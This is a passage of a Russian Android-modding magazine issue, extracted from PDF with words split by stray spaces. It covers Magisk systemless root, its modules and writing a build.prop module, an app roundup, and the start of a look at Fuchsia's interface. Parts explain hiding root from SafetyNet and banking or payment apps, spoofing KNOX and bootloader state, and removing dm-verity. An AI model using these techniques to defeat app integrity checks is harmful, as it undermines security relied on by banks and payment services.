сение  изме нений  и  обе зопа сив  себя
от слу чай ных модифи каций.

/system/build.prop

НЕМНОГО ТЕОРИИ
Что бы  понять  прин цип  работы  Magisk,  нач нем  с  так  называ емо го  несис ‐
темно го root (systemless root).

Тра дици онно,  что бы  получить  root  на  смар тфо не  или  план шете,  необ ‐
ходимо было раз местить файл su (который отве чает за повыше ние при виле ‐
гий) в каталог /system/xbin/, то есть в сис темный раз дел. Это дей ствие изме ‐
няло  его  хеш‐сум му,  из‐за  чего  терялась  воз можность  уста нов ки
ОТА‐обновле ний.

Бо лее того, с выходом Marshmallow Google позабо тилась о безопас ности,
осно вы  которой были  заложе ны в  Lollipop,  сде лав невоз можной  кор рек тную
уста нов ку su в /system. Chainfire, раз работ чик SuperSU, начал поиск обходных
путей, резуль тат которо го стал доволь но неожи дан ным.

Вмес то того что бы раз мещать su в /system, он внед рил его в boot‐раз дел,
содер жащий  ядро  и  так  называ емый  RAM‐диск.  Пос ледний  пред став ляет
собой образ фай ловой сис темы, который заг ружа ется в опе ратив ку на ста дии
началь ной  заг рузки  Android.  RAM‐диск  содер жит  базовые  ком понен ты  сис ‐
темы, которые дол жны быть запуще ны еще до того, как раз дел /system будет
под клю чен.

Ока залось,  что  если  внед рить  su  пря мо  в  RAM‐диск,  то  мож но  одним
махом  обой ти  все  защит ные  механиз мы  Android  и,  кро ме  того,  обес печить
нор маль ную работу OTA. Такой спо соб рутин га получил наз вание systemless
root  (несис темный  root)  и  стал  основным  в  SuperSU  для  устрой ств,  работа ‐
ющих на Android Marshmallow и Nougat. Сто ит отме тить, что этот спо соб так же
при меним и для устрой ств Samsung, работа ющих на вер сии 5.1 (или новее).

Не сис темный  root  име ет  свои  пре иму щес тва  и  недос татки.  Основной
недос таток в том, что он не работа ет на устрой ствах с заб локиро ван ным заг ‐
рузчи ком по умол чанию, — конеч но, могут быть и обходные пути, но они спе ‐
цифич ны для каж дого устрой ства.

Од нако несис темный  root  уни вер саль нее  тра дици онно го. Во мно гих  слу ‐
чаях он не лома ет OTA‐обновле ния. Несис темный спо соб «чище», так как он
не добав ляет и не изме няет фай лы в раз деле /system. Это озна чает, что уда ‐
лить  или  скрыть  root  будет  нам ного  лег че.  Пос ле  сбро са  к  завод ским  нас ‐
трой кам воз можность root‐дос тупа будет уда лена.

Пос леднее пре иму щес тво — это, конеч но, пал ка о двух кон цах. Боль шинс ‐
тво  поль зовате лей  пред почло бы,  что бы  root‐дос туп  все же остался,  но  для
вос ста нов ления root‐дос тупа нуж но будет прос то про шить файл SuperSU.

MAGISK
Ин форма ция, изло жен ная выше, прес леду ет одну цель — помочь понять, что
systemless — это удоб но и не страш но. Ведь Magisk исполь зует имен но такой
спо соб работы с сис темой. Далее мы оста новим ся на осо бен ностях Magisk
более под робно.

Итак,  Magisk  —  это  ути лита,  которая  пат чит  раз дел  boot  и  дает  воз ‐
можность  уста нав ливать  раз личные  сис темные  моды  в  режиме  systemless.
Она  поз воля ет  запус кать  скрип ты  на  раз ных  эта пах  мон тирова ния  и  под ‐
менять  фай лы  (нап ример,  build.prop)  еще  до  мон тирова ния  раз дела  /data,
скры вать наличие root и Xposed от при ложе ний и сер висов типа Android Pay,
Samsung Pay или Сбер банк Онлайн, а так же спо кой но получать OTA‐обновле ‐
ния сто ковых про шивок.

Од нако глав ное пре иму щес тво Magisk в том, что при модифи кации RAM‐
дис ка  он  про писы вает  в  него  лишь  заг рузчик модифи каций,  тог да  как  сами
моды хра нят ся в раз делах /data и /cache. В резуль тате пос ле переп рошив ки
не  нуж но  будет  при менять  все  моды  заново,  дос таточ но  все го  лишь  уста ‐
новить Magisk, и он заг рузит их все авто мати чес ки.

Так же сто ит отме тить и дру гие воз можнос ти: под мену сос тояния заг рузчи ‐
ка  для  дру гих  прог  и  сос тояния  KNOX  для  устрой ств  Samsung;  нес коль ко
точек  вхо да/инъ екций  для  раз работ чиков,  надеж но  гаран тиру ющие  паузы
при  заг рузке  до  тех  пор,  пока  не  сра бота ют  все  изме нения;  режим  post‐fs
(cache),  который сра баты вает до  того,  как мон тиру ется раз дел  /data, и поз ‐
воля ет,  нап ример,  менять  bootanimation;  уда ление  dm‐verity,  forceencrypt;
встро енный  BusyBox,  встро енная  воз можность  под мены  фай ла  /etc/hosts
(для бло киро вания рек ламы).

УСТАНАВЛИВАЕМ
Для  работы  Magisk  необ ходим  Android  5.0  и  выше,  раз бло киро ван ный  заг ‐
рузчик и кас томный рекаве ри. Magisk не работа ет на смар тфо нах Pixel, Pixel
XL и некото рых Asus. Может работать некор рек тно (не будет работать Magisk
Hide и, как резуль тат, SafetyNet) на сто ковых про шив ках Samsung и их модах.

Мо жет быть два вари анта уста нов ки Magisk в зависи мос ти от того, есть ли
на смар тфо не root.

Ва риант 1: смар тфон рутован
Ус танав лива ем Magisk Manager из  . Запус каем при ложе ние, сог ‐
лаша емся дать ему пра ва root и уста нав лива ем, сле дуя под сказ кам при ложе ‐
ния.

Google Play

Ва риант 2: смар тфон не рутован
Ска чива ем акту аль ный   и про шива ем с помощью
TWRP.  Если  есть желание  исполь зовать SuperSU  вмес то  встро енно го  в Ma‐
gisk менед жера root‐дос тупа, то шьем   перед Magisk.

ус тановоч ный архив Magisk

SuperSU
Сто ит иметь в виду: если тре бует ся лег кое скры тие рута и минимум проб ‐

лем с SafetyNet  (то есть минимум проб лем с Android/Samsung Pay, бан ками,
игра ми),  сле дует исполь зовать  root,  встро енный в Magisk. Ты можешь спра ‐
вед ливо  заметить,  что  SuperSU  мож но  скрыть  с  помощью  suhide.zip,  но  он
не  всег да  работа ет  так,  как  нам  хочет ся.  В  некото рых  слу чаях  он  вызыва ет
bootloop и необ ходимость вос ста нов ления из бэкапа.

Ус танов ка Magisk через TWRP и пер вый запуск

Уда ление Magisk
Ес ли про га боль ше не нуж на или ты сло вил проб лемы с заг рузкой (как обыч ‐
но,  дис клей мер:  ты  все  дела ешь  на  свой  страх  и  риск),  нап ример bootloop,
есть два вари анта уда ления/вос ста нов ления:
1. Про шива ем   через TWRP.ар хив
2. Пе реус танав лива ем про шив ку и про шива ем род ной boot.

Иног да  проб лемы  наб люда ются  при  одновре мен ной  уста нов ке  MagiskSU
и SuperSU. В этом слу чае пос ледний луч ше уда лить (в час тнос ти, из‐за это го
у авто ра не работа ло скры тие Magisk от SafetyNet).

Нас трой ки и окно ста туса

МОДУЛИ
Од но из неос поримых пре иму ществ Magisk — уни вер саль ность. Сущес тву ют
как  гло баль ные модифи кации, нап ример ViPER 4Android и Xposed,  так и воз ‐
можность  самос тоятель но  соз давать  мел кие  модифи кации  под  кон крет ное
устрой ство. Далее мы рас смот рим основные гло баль ные моды, а так же соз ‐
дадим  собс твен ный  прос той  мод  для  изме нения/добав ления  перемен ных
в файл /system/build.prop.

Все дос тупные моды есть в репози тории модулей Magisk manager в раз ‐
деле Download («Заг рузки»).

Спи сок дос тупных модов и уста нов ка Xposed framework

ViPER 4Android
ViPER’s Audio слу жит для улуч шения зву ка в целом с помощью раз личных зву ‐
ковых эффектов, то есть фак тичес ки это сис темный эква лай зер. При пра виль ‐
ной нас трой ке под собс твен ное вос при ятие ViPER спо собен выдать отличный
звук.

Ус танов ка ViPER в обыч ном режиме спо соб на дос тавить немало при ятных
минут,  отданных  устра нению  шерохо ватос тей.  Наличия  root  недос таточ но,
необ ходима  под дер жка  init.d,  воз можность  модифи кации  /system  и  перек ‐
лючения SELinux в режим permissive. Magisk может изба вить от этих проб лем.

Для тех, кто не боит ся экспе римен тировать и жела ет получить от смар тфо ‐
на боль ше, чем дает про изво дитель, однознач но рекомен дует ся к уста нов ке.

Xposed framework
Эта ути лита — одна из самых зна чимых в раз работ ке модов для Android. Тот,
кто  не  слы шал  об  Xposed,  ско рее  все го,  очень  далек  от  пол ноцен ного
модифи циро вания фун кци ональ нос ти и внеш него вида Android‐устрой ств.

Сис темные тре бова ния:
Android  5.x.x–6.0.x. Не  под держи вает ся  сто ковый Android  5.0  от  Samsung
и сто ковый Android 5.1 от Dell Venue;

•

чис тая про шив ка (не дол жно быть сле дов сис темно го Xposed).•

Ус танов ка:
1. Де лаем нан дро ид‐бэкап в рекаве ри.
2. Ста вим  .Xposed Installer
3. Ска чива ем и ста вим фрей мворк Xposed с помощью Magisk Manager.
4. Пе резаг ружа ем устрой ство.

Уда ление: уда ляем Xposed framework с помощью Magisk Manager.

Ок но ста туса Xposed framework и спи сок уста нов ленных модов
Xposed

Terminal debloater
Bloatware — усто явший ся тер мин для обоз начения кучи ненуж ных прог, пре ‐
дус танов ленных  про изво дите лем.  Мно гие  из  них  сис темные,  и  уда лить  их
нель зя. Этот модуль поз воля ет это сде лать.

Ус танов ка:
1. Ка чаем модуль из репози тория.
2. За пус каем  .Terminal emulator
3. Вво дим su и нажима ем Enter.
4. За пус каем модуль коман дой debloat_magisk.
5. Вы бира ем сис темные при ложе ния, которые хотим уда лить.

Сто ит отме тить, что необ ходимо точ но знать наз вание пакета, содер жащего
модуль. Нап ример, Velvet — это на самом деле Google Play.

Android Runtime Optimization
Как  извес тно,  с  вер сии  Lollipop  Android  перешел  на  исполь зование  новой
вир туаль ной машины ART  (Android Runtime). Появи лась она,  конеч но,  еще  в
KitKat, но там была опци ональ ная и работа ла в  тес товом режиме с мно жес ‐
твом багов.

ART  базиру ется  на  AOT‐ком пилято ре  (ahead‐of‐time),  который  работа ет
луч ше,  чем  JIT  (just‐in‐time)  за  счет  того,  что  ком пилиру ет  при ложе ние
заранее  (а  не  в  момент  его  запус ка).  Как  резуль тат,  при ложе ние  работа ет
быс трее, но съеда ет боль ше памяти.

ART под дает ся нас трой ке с помощью ути литы dex 2oat. Она поз воля ет ука ‐
зать AOT‐ком пилято ру, нас коль ко он дол жен быть эффектив ным и быс трым.
Вот спи сок парамет ров с рас шифров кой:

  —  ком пилиру ет  прак тичес ки  все,  исклю чая  class  initializers
и нес коль ко ред ких методов, которые слиш ком объ емны для ком пилято ра.
Очень дол гая про цеду ра, ском пилиро ван ные при ложе ния занима ют мно го
мес та в памяти;

• everything

 —  ком пилиру ет  боль шинс тво методов  и мак симизи рует  про изво ‐
дитель ность,  при  этом  опти миза ция  про тека ет  дол го  и  при ложе ния
занима ют боль ше мес та (дефол товая опция);

• speed

  —  сба лан сирован ный  вари ант,  ком про мисс  меж ду  ско ростью
ком пиляции, опти миза цией и занима емым в памяти мес том;

• balanced

 — ком пилиру ет огра ничен ное чис ло методов, оставляя в при ори ‐
тете память устрой ства;

• space

  —  про пус кает  ком пилиро вание  и  полага ется  на  внут ‐
ренний  интер пре татор. При ложе ния  опти мизи руют ся  быс тро  и  занима ют
мень ше памяти;

• interpret-only

  —  спе циаль ная  опция,  которая  про пус кает  верифи кацию
и  ком пилиро вание;  мож но  исполь зовать  толь ко  для  про верен ного  сис ‐
темно го кода.

• verify-none

Зна чение    —  стан дар тное  прак тичес ки  во  всех  про шив ках.  В  теории
мож но  получить  боль шую  про изво дитель ность,  если  при менить  флаг

. Для это го уста нав лива ем модуль, запус каем эму лятор тер минала,
вво дим

speed

everything

$ su
$ art_magisk

Вы бира ем  номер  необ ходимо го  фла га,  гру зим  в  рекаве ри,  дела ем  WIPE
DALVIK/CACHE  для  вступ ления  изме нений  в  силу,  ждем  кон ца  опти миза ции
про цес са.  Надо  отме тить,  что  резуль тат  зависит  от  устрой ства  и  в  край нем
слу чае может при вес ти к бут лупу.

Мод активно раз вива ется, и новые вер сии и фик сы выходят поч ти каж дый
день.  Нес мотря  на  это,  все  еще  сущес тву ют  проб лемы  сов мести мос ти
с  TouchWiz  (и  его  нас ледни ком)  и  Facebook  Messenger.  По  отзы вам  поль ‐
зовате лей,  пос ле  при мене ния  мода  некото рые  не  замети ли  изме нений,
а  некото рые  уви дели  сок ращение  исполь зуемой  при ложе ниями  памяти
в /data при при мене нии фла гов space и interpret‐only.

Terminal debloater и Android Runtime Optimization

ДРУГИЕ МОДУЛИ
Вкрат це  оста нов люсь  еще  на  нес коль ких  модулях.  Боль шинс тво  из  них
не име ют гра фичес кого интерфей са, так как прос то вно сят изме нения в нас ‐
трой ки.

Volume Steps Increase
  уве личи вает чис ло дос тупных шагов для регули ров ки зву ка при про ‐

игры вании media и гром кости голоса при звон ке в два раза. Если ска чать ZIP
и разоб рать его, ста нет вид но, что модуль все го лишь добав ляет две стро ки
в файл build.prop, а имен но:

Мо дуль

ro.config.vc_call_vol_steps=14•
ro.config.media_vol_steps=30•

Google Dialer
Прос той  , который дела ет Google Dialer сис темным при ложе нием, поз ‐
воляя  исполь зовать  все  его  воз можнос ти.  При  необ ходимос ти  фай лы  при ‐
ложе ний, находя щиеся внут ри архи ва, мож но самос тоятель но заменить акту ‐
аль ными вер сиями.

мо дуль

Terminal App Systemizer
  перево дит любые уста нов ленные поль зовате лем при ложе ния в сис ‐

темные. В отли чие от пре дыду щего модуля, при уда лении Magisk все вне сен ‐
ные изме нения оста нут ся рабочи ми.

Мо дуль

Ин терфейс кон соль ный. Вво дим в тер минале

$ su
$ systemize_magisk

Сле дуем  под сказ кам  и  пос ле  выбора  при ложе ния  перег ружа ем  устрой ство,
что бы изме нения всту пили в силу.

Terminal App Systemizer

Что бы уда лить при ложе ние из сис темных, заходим в /magisk/terminal_system‐
izer/system и /system/priv‐app и уда ляем отту да при ложе ние.

Universal init.d enabler
Этот    добав ляет  воз можность  запус кать  скрип ты  init.d  при  заг рузке
сис темы.  Скрип ты,  помещен ные  в  /system/etc/init.d,  будут  работать,  даже
если  про шив ка  не  под держи вает  это го.  Для  исполь зования  необ ходимо,
помес тив  скрипт  в  пап ку,  прис воить  фай лу  пра ва  0777.  Так же  модуль  сов ‐
местим  с  модами  про изво дитель нос ти,  которые  исполь зуют  init.d‐скрип ты,
такими как Nitro X Spark.

мо дуль

Mute UI
  уби рает  все  зву ки  UI,  нап ример  звук  сня тия  скрин шота,  зат вора

камеры,  начала  и  кон ца  виде оза писи,  сра баты вания  NFC.  Если  разоб рать
архив,  то  мож но  най ти,  что  модуль  прос то  сти рает  все  фай лы  из  пап ки
system/media/audio/ui/.

Мо дуль

F-Droid Privileged Extension installer
 — это магазин open source при ложе ний, в котором, в час тнос ти, мож ‐

но  най ти  обще сис темную  резал ку  рек ламы  AdAway.  Его  проб лема  толь ко
в  том,  что  уста нов ку при ложе ния при ходит ся самос тоятель но под тверждать,
так же как если бы ты его ста вил с кар ты памяти (что, в сущ ности, и про исхо ‐
дит).

F‐Droid

Дан ный   наделя ет F‐Droid при виле гиями и раз решени ями, которые
име ют толь ко сис темные при ложе ния, в резуль тате чего он может лег ко уста ‐
нав ливать, уда лять и обновлять при ложе ния. Сам модуль занима ет мало мес ‐
та и вза имо дей ству ет с основной прог раммой через AIDL IPC.

мо дуль

ПИШЕМ СОБСТВЕННЫЙ МОДУЛЬ
Ну и напос ледок напишем собс твен ный модуль. В этом нет ничего слож ного.

Для  начала  кача ем  шаб лон  с  .  В  нем  нуж но  изме нить  два  фай ла:
module.prop и config.sh. В пер вом содер жится все го семь строк, отве чающих
за  опи сание  модуля,  его  имя,  вер сию  и  про чее,  а  вто рой  содер жит  скрипт
с необ ходимы ми дей стви ями.

GitHub

Важ но пре дуп редить поль зовате лей Windows: в свя зи с тем что в фай лах
дол жно  исполь зовать ся  фор матиро вание  строк  в  сти ле  UNIX  (окон чание
стро ки  сим волом  ,  а  не  ,  как  в  Windows),  автор  рекомен дует
работать в прод винутых тек сто вых редак торах типа Sublime, Atom, Notepad++,
ина че мож но потерять фор матиро вание и  получить  на  выходе  какую‐нибудь
гадость.

\\n \\r\\n

Под робная инс трук ция по работе скрип та находит ся внут ри ком мента риев
фай ла config.sh. Откры ваем файл, чита ем, что нуж но делать, и пра вим стро ки.
Допус тим, ты хочешь под менить bootanimation.zip (ани мация заг рузки). Кида ‐
ем новый файл bootanimation в пап ку /system/media, запако выва ем все фай лы
в ZIP и получа ем файл, который мож но про шить через Magisk или рекаве ри.

Что бы  поменять  сис темные  перемен ные,  как  это  дела ет  модуль  Volume
Steps  Increase,  необ ходимо  в  фай ле  config.sh  поменять  стро ку
на  PROPFILE=true  и  внес ти  нуж ные  стро ки  в  файл  шаб лона
common/system.prop.

Для при мера напишем модуль,  который убе рет надо евшую бутани мацию
и  нем ного  сок ратит  вре мя  заг рузки  устрой ства.  Вне сем PROPFILE=true,  а  в
common/system.prop добавим строч ку debug.sf.nobootanimation=1.

До бав ляем опи сание в module.prop, запако выва ем все фай лы в nobootan‐
imation.zip и уста нав лива ем через Magisk. Перег ружа емся и, глав ное, не пуга ‐
емся чер ного экра на пос ле пер вого логоти па.

Ус танов ка написан ного модуля и уста нов ленный модуль No bootanima‐
tion в Magisk

ЗАКЛЮЧЕНИЕ
Magisk  замет но  облегча ет  жизнь  при  вне сении  сис темных  модифи каций,
а глав ное — он поз воля ет сде лать это безопас но (вер нуть смар тфон к жиз ни
мож но,  прос то  уда лив  Magisk,  как  опи сано  в  статье).  Более  того,  если  ты
обно вишь  про шив ку,  все  твои модифи кации  вер нутся,  как  толь ко  ты  заново
уста новишь Magisk. Недур но, не прав да ли?
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https://github.com/topjohnwu/magisk-module-template
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FLYTUBE: ПЛЕЕР YOUTUBE С ПЛАВАЮЩИМ ОКНОМ
Приз най ся,  сколь ко  раз,  поль зуясь  план шетом  или  смар тфо ном,  ты  хотел
запус тить виде опро игры ватель в отдель ном малень ком окош ке так, что бы он
не мешал бра узин гу или чте нию кни ги? Мно го? Тог да Flytube прос то соз дан
для тебя.

  —  это  аль тер натив ный  пле ер  YouTube,  поз воля ющий  запус кать
ролики в неболь шом окош ке, которое мож но «прик репить» к одной из сто рон
экра на.  В  сущ ности,  это  единс твен ное,  что  он  может  делать,  но  дела ет  он
это дей стви тель но хорошо.

Flytube

Вы бирай видео, запус кай и про дол жай занимать ся сво ими делами

Flytube уме ет исполь зовать твою учет ную запись для прос мотра сох ранен ных
видео  и  видео  с  любимых  каналов.  Он  име ет  пре вос ходное  исполне ние,
это не прос то окош ко — его мож но кидать в края экра на свай пами, оно абсо ‐
лют но не  тор мозит и  чет ко под чиня ется паль цу. Раз мер по  умол чанию фик ‐
сирован ный, но мож но вклю чить изме няемый в нас трой ках.

При ложе ние бес плат ное, но по понят ным при чинам недос тупное в Google
Play. Ска чать его мож но по при веден ной выше ссыл ке либо с помощью при ‐
ложе ния  .XDA Labs

CUSTOM ROM MANAGER — УПРОЩАЕМ УСТАНОВКУ РОМОВ
Каж дый,  кто  ста вил  кас томную  про шив ку,  зна ет,  нас коль ко  это  неудоб но.
Сна чала надо сло жить на кар ту памяти все необ ходимые для уста нов ки фай ‐
лы:  про шив ку,  пакет  GApps,  SuperSU,  воз можно  какие‐то  модифи кации.
Потом  перезаг рузить  смар тфон  в  recovery  с  помощью  меню  вык лючения
или зажав  кла вишу уве личе ния  гром кости при вклю чении,  затем с помощью
TWRP Recovery выб рать все эти фай лы, пос тавить их в оче редь и толь ко тог да
начинать шить. Custom ROM Manager нам ного упро щает задачу.

 осво бодит тебя от необ ходимос ти перезаг ружать ся
в TWRP и делать что бы то ни было вруч ную. Работа ет это так: у тебя на кар те
памяти сре ди хла ма, ска чан ного из интерне та, хра нит ся нес коль ко про шивок,
нес коль ко  пакетов  GApps,  все  они  раз бро саны  непонят но  где,  и  ты  даже
не пом нишь, ког да их качал.

Custom ROM Manager

Ты запус каешь Custom ROM Manager, он находит при год ные для про шив ки
ZIP‐архи вы,  катало гизи рует  их  (про шив ки  в  одну  вклад ку,  GApps  в  дру гую)
и показы вает тебе. Что со всем этим мож но сде лать? Конеч но же, сос тавить
оче редь.  Тапа ем  по  нуж ной  про шив ке,  в  появив шемся  спис ке  выс тавля ем
галоч ки, если нуж но сде лать вайп, потом тапа ем по GApps, по SuperSU, если
его тоже надо про шить, а затем нажима ем круг лую кноп ку вни зу экра на.

Сос тавля ем оче редь для про шив ки

Все, оче редь готова. Еще один тап по круг лой кноп ке отправ ляет смар тфон
в  ребут,  из  которо го  он  воз вра щает ся  уже  све жим,  бод рым,  в  общем  —
с новой про шив кой.

Бо ишь ся,  что про шив ка при ведет  к  нерабо тос пособ ности аппа рата? Нет
проб лем, в выд вижной панели есть спе циаль ный пункт, с помощью которо го
мож но сде лать и вос ста новить бэкап nandroid.

Custom ROM Manager — очень прос той инс тру мент, который не уме ет сам
находить  про шив ки  в  Сети,  не  дела ет  каких‐либо  под ска зок  и  не  обла дает
выда ющи мися  воз можнос тями.  Но  имен но  в  этом  его  пре иму щес тво:  он
прос то реша ет одну задачу, и реша ет ее хорошо.

EFIDROID — МУЛЬТИЗАГРУЗЧИК ДЛЯ СМАРТФОНА
На вер няка  ты  не  раз  слы шал  о  заг рузчи ке  MultiROM,  поз воля ющем  уста ‐
новить на смар тфон сра зу нес коль ко раз ных про шивок и перек лючать ся меж ‐
ду ними. Но MultiROM неидеален: он тре бует про пат ченное ядро, спе циаль ‐
ную вер сию TWRP Recovery и сов местим не со все ми про шив ками. EFIDroid
лишен  его  недос татков,  он  работа ет  на  любом  ядре  и  может  заг рузить  что
угод но.

Ес ли ты читал мою ста рую статью о муль тизаг рузке, то зна ешь, что MultiR‐
OM  —  это  не  сов сем  заг рузчик.  Он  внед ряет ся  не  меж ду  пер вичным  заг ‐
рузчи ком  и  про шив кой,  а  в  саму  про шив ку  (а  если  быть  точ ным —  в  RAM‐
диск).  Так  что  тех ничес ки  это  сис тема  запус ка  одной  про шив ки  из  дру гой.
Отсю да и тре бова ние ядра с пат чем kexec.

 — пол ноцен ный UEFI‐заг рузчик, выс тупа ющий в качес тве вто рич ‐
ного.  Он  запус кает ся  пер вичным  заг рузчи ком  смар тфо на,  выводит  меню
выбора и затем заг ружа ет выб ранную про шив ку.  Точ но  так же,  как на обыч ‐
ном дес кто пе.

EFIDroid

EFIDroid  не  уста нав лива ет  спе циаль ную  вер сию  TWRP,  не  модифи циру ет
текущую  про шив ку  и  не  при нуж дает  исполь зовать  спе циаль ный  интерфейс
TWRP для уста нов ки допол нитель ных про шивок. И уста новить, и уда лить про ‐
шив ки мож но пря мо в Android, исполь зуя EFIDroid Manager.

Од нако  EFIDroid  силь но  завязан  на  железо. Он  исполь зует  воз можнос ти
Little Kernel (LK), фир менно го заг рузчи ка Qualcomm, а потому работа ет толь ‐
ко  на  устрой ствах  с  соот ветс тву ющим  чип сетом.  Более  того,  на  дан ный
момент под держи вает ся все го  ,  вклю чая OnePlus One,
Motorola  Moto  G,  Moto  E,  Samsung  Galaxy  Note  4,  Xiaomi  Mi2,  Mi3w,
Mi4 и Redmi Note 3 Pro.

три над цать  устрой ств

Для уста нов ки на под держи ваемое устрой ство необ ходимо получить  root
и  уста новить TWRP. Затем ска чива ем EFIDroid Manager, перехо дим в раз дел
Install/Update и нажима ем боль шую круг лую кноп ку. Пос ле это го мож но прис ‐
тупать к уста нов ке про шивок. Но сна чала необ ходимо соз дать образ на кар те
памяти, в который будет уста нов лена новая про шив ка.

Для это го перехо дим в раз дел Operating System, нажима ем +,  выбира ем
икон ку,  добав ляем  имя  и  опи сание,  выбира ем  мес то  хра нения  обра за
и нажима ем галоч ку. Ска чива ем нуж ную про шив ку и кла дем ее либо на внеш ‐
нюю  кар ту  памяти,  либо  на  флеш ку,  под клю чен ную  с  помощью  OTG.
Это необ ходимо сде лать, так как запущен ный для уста нов ки вто рой про шив ки
TWRP прос то не уви дит внут ренний накопи тель. Далее перезаг ружа емся.

Про цесс уста нов ки

На  экра не  дол жно  появить ся  заг рузоч ное  меню  EFIDroid.  Мышь  здесь
не  работа ет,  поэто му  управлять  при дет ся  с  помощью  кла виш  гром кости
(вверх/вниз)  и  вклю чения  питания  (Enter).  Выбира ем  пункт  TWRP,  далее  —
соз данный  ранее  образ  и  уста нав лива ем  про шив ку,  как  обыч но.  При  сле ‐
дующей заг рузке выбира ем нуж ную про шив ку.

Про цесс заг рузки

Вот и все. Но это лишь вер шина айсбер га, на самом деле потен циал EFIDroid
нам ного  боль ше.  В  теории  его  мож но  исполь зовать  для  запус ка  тра дици ‐
онных EFI‐при ложе ний. Нап ример, уста новить пол ноцен ный заг рузчик GRUB
для натив ной заг рузки Linux на смар тфо не. Ну или добавить под дер жку  fast‐
boot на устрой ство без его под дер жки (при вет, Samsung).

DRIVEDROID — ЗАГРУЖАЕМАЯ ФЛЕШКА ИЗ СМАРТФОНА
Каж дому из нас при ходи лось при бегать к помощи самозаг ружа ющих ся дис ‐
ков и USB‐фле шек. Слу чил ся ли сбой основной ОС, или понадо билось вос ‐
поль зовать ся  чужим ПК,  выручит флеш ка с  собс твен ной опе раци онной сис ‐
темой  или  инстал лятором ОС. Одна ко,  если  у  тебя  есть  смар тфон, флеш ка
боль ше не нуж на. С задачей заг рузки ОС он спра вит ся сам.

  прев раща ет  смар тфон  в  самозаг ружа емую  флеш ку,  которая
будет запус кать на под клю чен ном компь юте ре любой ука зан ный образ дис ка,
будь то Windows, Linux или еще более экзо тичес кая ОС. Это отличный инс тру ‐
мент для решения проб лем, пере уста нов ки ОС и воз можность всег да иметь
под рукой собс твен ную аль тер натив ную ОС.

DriveDroid

Ис поль зовать DriveDroid прос то. Он не тре бует заранее искать и ска чивать
обра зы  или  обла дать  какими‐то  тех ничес кими  зна ниями.  Все  необ ходимое
при ложе ние  сде лает  само,  но  для  начала  ему  надо  прой ти  ини циали зацию
и опре делить,  сов местим  ли  тех ничес ки  смар тфон  с фун кци ей  заг рузки ОС
на ПК.

Сра зу пос ле уста нов ки DriveDroid пред ложит опре делить тех ничес кую воз ‐
можность  и  акти виро вать  нуж ный  режим  работы.  Для  это го  при ложе нию
необ ходимо пре дос тавить пра ва root и под клю чить смар тфон кабелем к ком ‐
пу.

Да ем пра ва root и под клю чаем кабель

За тем DriveDroid пред ложит выб рать пред почти тель ный метод работы. Stand‐
ard Android работа ет в боль шинс тве слу чаев. На пос леднем эта пе надо ука ‐
зать,  какой  имен но  тип  носите ля  ты  уви дел  на  ком пе:  USB,  CD‐ROM
или никако го. Это лег ко про верить через про вод ник.

Вы бира ем метод работы и тип носите ля

За тем сле дует перезаг рузить комп и поп робовать заг рузить ся со смар тфо на.

DriveDroid успешно заг рузил ся

Ес ли все прош ло глад ко, можешь начинать ска чивать обра зы нуж ных дис три ‐
бути вов  Linux  пря мо  из  при ложе ния  (от  минима лис тично го  SliTaz  раз ‐
мером  35 Мбайт  до  пол ноцен ного Ubuntu).  Впос ледс твии  с  каж дого  из  них
мож но  будет  заг рузить ся,  нажав  на  име ни  нуж ного  обра за,  выб рать  тип
носите ля (USB или CD), под клю чить смар тфон кабелем и перезаг рузить комп.

Мож но  заг рузить  и  Windows.  Для  это го  необ ходимо  ска чать  ISO‐образ,
положить его на SD‐кар ту смар тфо на (или во внут реннюю память, если смар ‐
тфон не под держи вает кар точки) и затем выб рать его при добав лении новой
ОС в DriveDroid.

https://labs.xda-developers.com/store/app/com.flyperinc.flytube
https://www.xda-developers.com/xda-labs/
https://play.google.com/store/apps/details?id=com.corphish.customrommanager.free
https://play.google.com/store/apps/details?id=org.efidroid.efidroidmanager&rdid=org.efidroid.efidroidmanager
https://github.com/efidroid/projectmanagement/wiki/Device-Maintainers
https://play.google.com/store/apps/details?id=com.softwarebakery.drivedroid
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В апре ле прош лого года, не сде лав никаких анон сов, Google
выложи ла  в  Сеть  исходни ки  новой ОС  Fuchsia,  написан ной
с  исполь зовани ем  язы ка  Dart.  «Фук сия»  базиро валась
на  кро шеч ном  мик рояд ре,  поэто му  пер вое,  что  приш ло
в голову жур налис там и иссле дова телям кода: опе раци онка
для  интерне та  вещей.  Это  пред став ление  пол ностью
перевер нулось в начале мая,  ког да в Fuchsia появил ся  гра ‐
фичес кий интерфейс.

В Fuchsia все при ложе ния написа ны на язы ке Dart, раз работан ном в нед рах
Google  в  качес тве  сов ремен ной  и  высокоп роиз водитель ной  замены  Java‐
Script. Google раз вива ет Dart с 2011 года и неус танно ищет ему при мене ние,
в том чис ле в рам ках бра узе ра Dartium (спе циаль ной сбор ки Chromium с под ‐
дер жкой Dart), ком пилято ра Dart в JavaScript. С недав него вре мени ком пания
пред лага ет исполь зовать Dart для мобиль ной раз работ ки с помощью фрей ‐
мвор ка  ,  поз воля юще го  соб рать  при ложе ние  с  интерфей сом  в  сти ле
Material Design, одновре мен но для Android и iOS.

Flutter

Ло гичес кая схе ма Flutter

Имен но при помощи Flutter в Fuchsia соз дан поль зователь ский интерфейс Ar‐
madillo.  И  это  на  100%  телефон ный  интерфейс,  с  опти миза цией  под  вер ‐
тикаль ные  экра ны,  панелью быс трых  нас тро ек  и  вер тикаль ным  скрол лингом
рабоче го сто ла. А так как Armadillo написан на Dart и Flutter, то и запус тить его
мож но  уже  сегод ня.  Энту зиас ты  под готови ли    Armadillo  в  виде  APK,
который мож но уста новить на любой гуг лофон.

сбор ку

Прос то  запус ти  при ложе ние,  и  тебе  откро ется  будущее  мобиль ных
интерфей сов,  каким  его  видят  раз работ чики  Fuchsia.  В  цен тре  находит ся
юзер пик  текуще го поль зовате ля,  вре мя, мес тополо жение и икон ка батареи.
Если нажать на юзер пик, откро ется окно быс трых нас тро ек, зна комое любому
юзе ру Android. Кноп ки работа ют, пол зунки дви гают ся, но ни на что не вли яют.
Пун кты Log out и More не работа ют вооб ще.

Ра бочий стол и панель быс трых нас тро ек Armadillo

Ин терес нее ста новит ся, если про мотать экран вниз: там ты уви дишь боль шое
количес тво  кар точек‐заг лушек.  Каж дая  из  них  при  тапе  раз ворачи вает ся
на пол ный экран. Обра ти вни мание, что в этот момент вни зу появ ляет ся точ ‐
ка, а  так же информа ция о вре мени и сос тоянии батареи. Дру гими сло вами,
интерфейс динами чес кий, и при выч ных стро ки сос тояния и панели навига ции
в нем нет. Ког да надо, они появ ляют ся, ког да нет — исче зают. Сама точ ка —
